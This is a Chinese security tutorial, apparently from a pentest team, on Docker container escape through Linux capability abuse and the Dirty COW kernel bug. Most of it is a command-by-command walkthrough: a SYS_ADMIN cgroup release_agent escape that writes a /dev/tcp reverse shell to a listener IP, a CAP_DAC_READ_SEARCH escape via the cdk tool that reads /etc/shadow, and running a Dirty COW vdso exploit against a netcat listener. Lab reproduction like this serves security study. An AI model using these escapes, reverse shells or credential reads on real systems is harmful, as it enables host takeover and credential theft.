作者:晨星安全团队 tblr
五、Capability权限滥用
1. 什么是Capability权限
Capability权限是 Linux 系统中用于细粒度控制进程权限的机制,将传统的超级用户(root)权限拆分为独立的权限单元。每个单元(Capability)代表一个特定的特权操作,进程仅需获取所需的最小权限,而非完整的 root 权限,从而提高安全性。
Capability权限的分类(按功能划分)
(1)文件系统操作
CAP_CHOWN:允许修改文件的所有者和组。
CAP_DAC_OVERRIDE:忽略文件/目录的访问权限检查(绕过 DAC 规则)。
CAP_FOWNER:允许执行文件操作(如修改权限、删除),即使进程不是文件所有者。
CAP_LINUX_IMMUTABLE:修改文件的“不可变”属性(如 chattr +i)。
(2)网络操作
CAP_NET_BIND_SERVICE:绑定到 1024 以下端口(如 HTTP 80 端口)。
CAP_NET_RAW:使用原始套接字(如 ping 需要的 ICMP 套接字)。
CAP_NET_ADMIN:网络管理操作(如配置接口、路由表、防火墙规则)。
(3)进程与权限管理
CAP_KILL:向任意进程发送信号(如 kill)。
CAP_SETUID/CAP_SETGID:修改进程的 UID/GID(如 setuid() 系统调用)。
CAP_SETPCAP:修改其他进程的 Capabilities(权限传递)。
(4)系统管理
CAP_SYS_ADMIN:广泛的系统管理权限(挂载文件系统、磁盘配额、命名空间操作等)。
CAP_SYS_TIME:修改系统时钟和硬件时间。
CAP_SYS_MODULE:加载或卸载内核模块。
CAP_SYS_RESOURCE:覆盖资源限制(如 CPU 时间、文件大小限制)。
(5)硬件与内核操作
CAP_SYS_RAWIO:直接硬件访问(如操作 I/O 端口、内存映射)。
CAP_SYS_BOOT:重启系统或调用 kexec 加载新内核。
CAP_SYS_PTRACE:调试其他进程(如使用 ptrace())。
(6)安全与审计
CAP_AUDIT_CONTROL:启用/禁用内核审计功能。
CAP_MAC_ADMIN:配置强制访问控制(MAC)策略(如 SELinux)。
CAP_MAC_OVERRIDE:覆盖 MAC 策略(仅限部分场景)。
(7)其他特殊权限
CAP_IPC_LOCK:锁定内存(防止交换,如 mlock())。
CAP_SYS_NICE:修改进程优先级(如 nice 值)。
CAP_SYSLOG:执行特权系统日志操作(如读取内核日志)。
2. 权限检查
capsh检查
#在容器运行
cat /proc/1/status | grep Cap
#在本地主机上执行
capsh --decode=xxx
./cdk eva
3. SYS_ADMIN权限滥用逃逸
环境启动
大部分情况下,容器里的进程不需要以“完整”的root用户运行,Docker给容器内root账号只授予了几个默认的Capabilities,其他禁用。这意味容器里的root用户权限比宿主机上真正的root用户权限要小的多。
而在实际使用中,很多用户会违背Docker的安全防护配置原则。比如为了方便,容器以root用户启动,同时为了执行一些特权操作,给root用户额外授权一些Capability,例如SYS_ADMIN。
docker 通过–cap-add参数赋予容器特殊的CAP权限
docker run -it --cap-add SYS_ADMIN --rm --security-opt apparmor=unconfined -v root/cdk:/root/cdk ubuntu:latest /bin/bash
利用条件
-
在容器内root用户
-
容器必须使用SYS_ADMIN Linux capability运行
-
容器必须缺少AppArmor配置文件,否则将允许mount syscall
-
cgroup v1虚拟文件系统必须以读写方式安装在容器内部
cdk进行检测
./cdk eva
漏洞利用
在容器里创建一个临时目录/tmp/cgrp并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
#-t参数:表示mount的类别为cgroup
#-o参数:表示挂载的选项,对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如:cpu、memory
#执行该命令之后,宿主机的memory cgroup被挂载到了容器中,对应目录/tmp/cgrp
对cgroup进行重新挂载时,只有当被挂载目标的hierarchy为空时才能成功,因此如果这里memory的重新挂载不成功的话可以换其他的subsystem, 然后cgroup类型里建一个子目录x
mkdir /tmp/cgrp/x
2.设置notify_on_release
cgroup每个subsystem都有参数notify_on_release,参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令,如果notify_on_release启用当cgroup不再包含任何任务时(即cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的文本内容。
release_agent文件不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里,可以用来自动移除根cgroup里所有空的cgroup,通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1
echo 1 > /tmp/cgrp/x/notify_on_release
接着通过将release_agent指定为容器在宿主机上的cmd文件,先获取docker容器在宿主机上的存储路径:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
cat $host_path
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
3.编写POC,将要执行的shell写到cmd文件里,赋予执行权限
echo '#!/bin/sh' > /cmd echo "sh -i >& /dev/tcp/192.168.12.135/12345 0>&1" >> /cmd chmod a+x /cmd
触发宿主机执行cmd文件中的shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
CAP_DAC_READ_SEARCH逃逸
早期的docker中容器内默认拥有CAP_DAC_READ_SEARCH的权限,拥有该权限后,容器内进程可以使用 open_by_handle_at 函数对宿主机文件系统暴力扫描,以获取宿主机的目标文件内容,Docker1.0之前对容器能力使用黑名单策略管理,并未限制CAP_DAC_READ_SEARCH能力,故而赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生
环境启动
docker run -it --rm --cap-add CAP_DAC_READ_SEARCH -v /root/cdk:/cdk ubuntu /bin/bash
漏洞复现
CDK工具复现
1.检测
./cdk eva
./cdk run cap-dac-read-search /etc/shadow /etc/hosts
失败了哈哈哈,应该和安装的时候设置有关,无所谓知道怎么检测和利用就行,当然知道原理的话这里可以手工读取
到这里就不一一列举了,直接用下面这个命令看,其实也是能打的
./cdk run --list
六、漏洞提权
(1)内核提权漏洞–脏牛
漏洞原理
脏牛漏洞(Dirty COW,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,源于内核在处理写时复制(Copy-on-Write,COW)机制时存在竞争条件。攻击者利用该漏洞获取对只读内存映射的写访问权限,从而提升权限,甚至获得root权限。
Docker环境中,容器与宿主机共享内核,因此宿主机存在脏牛漏洞时,容器也可能受到影响。攻击者可以在容器内利用脏牛漏洞,通过修改VDSO(虚拟动态共享对象)中的函数指针,执行恶意代码,从而实现容器逃逸,获取宿主机的控制权。
漏洞复现
编译脏牛EXP
cd dirtycow-vdso-master apt install gcc apt install nasm make
启动容器
将/root目录映射进容器方便后续操作,在实战中可能需要将编译好的可执行文件移动至容器中
docker run -it --rm -v /root:/tmp/root ubuntu:14.04 /bin/bash
开启NC监听并使用exp工具攻击
./0xdeadbeef 192.168.52.1:12345